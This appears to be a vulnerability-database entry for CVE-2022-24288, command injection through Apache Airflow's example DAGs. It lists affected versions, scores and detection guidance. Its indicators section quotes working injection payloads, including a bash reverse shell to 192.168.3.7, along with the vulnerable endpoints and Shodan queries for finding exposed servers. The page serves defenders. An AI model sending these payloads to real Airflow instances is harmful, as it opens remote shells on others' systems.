cbcvebase.
CVE-2022-24288
published 2022-02-25

CVE-2022-24288: In Apache Airflow, prior to version 2.2.4, some example DAGs did not properly sanitize user-provided params, making them susceptible to OS Command Injection…

PriorityP187high8.8CVSS 3.1
AVNACLPRLUINSUCHIHAH
ITWEXPLOITVulnCheck KEV
Exploited in the wild
EPSS
77.88%
99.6th percentile
In Apache Airflow, prior to version 2.2.4, some example DAGs did not properly sanitize user-provided params, making them susceptible to OS Command Injection from the web UI.

Affected

2 ranges
VendorProductVersion rangeFixed in
apacheairflow< 2.2.42.2.4
apache_software_foundationapache_airflow>= unspecified < 2.2.42.2.4

Detection & IOCsextracted from sources · hover to see the quote

url/admin/airflow/code?root=&dag_id=example_passing_params_via_test_command↗
url/code?dag_id=example_passing_params_via_test_command↗
url/trigger?dag_id=example_passing_params_via_test_command↗
url/trigger?dag_id=tutorial↗
command{"foo":"\";touch /tmp/pwnedaaaaa;\""}↗
command{"foo":"\";bash -i >& /dev/tcp/192.168.3.7/6666 0>&1;\""}↗
command{"my_param":"\";touch /tmp/pwnedddddd;\""}↗
  • →Detect exploitation attempts by matching the vulnerable DAG ID 'example_passing_params_via_test_command' in HTTP requests to the Airflow trigger or code endpoints ↗
  • →Detect exploitation attempts by matching the vulnerable DAG ID 'tutorial' in HTTP POST requests to the Airflow trigger endpoint, combined with JSON body containing 'my_param' key ↗
  • →Alert on HTTP responses from Airflow containing the unrendered Jinja2 template string indicating an unauthenticated/vulnerable instance ↗
  • →Detect OS command injection payloads in Airflow DAG trigger POST bodies: look for semicolons and shell metacharacters within JSON param values (e.g., params containing '";' sequences) ↗
  • →Monitor for reverse shell patterns (e.g., bash -i >& /dev/tcp/) in Airflow DAG trigger request bodies targeting the foo or my_param parameters ↗
  • →Use Shodan/FOFA queries to identify exposed Airflow instances: match on page title 'sign in - airflow' or HTML containing 'Apache Airflow' ↗
  • ·The vulnerability only exists when example DAGs are loaded. Instances with '[core] load_examples = False' in their Airflow configuration are NOT affected. ↗
  • ·The impact is significantly elevated when Airflow is configured for unauthenticated access, as exploitation requires no credentials in that case. ↗
  • ·Two separate vulnerable DAGs are affected: 'example_passing_params_via_test_command.py' (params: foo, MIFF) and 'tutorial.py' (param: my_param), both assigned the same CVE. ↗

CVSS provenance

nvdv3.18.8HIGHCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
nvdv2.06.5MEDIUMAV:N/AC:L/Au:S/C:P/I:P/A:P
vulncheck8.8HIGH
CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.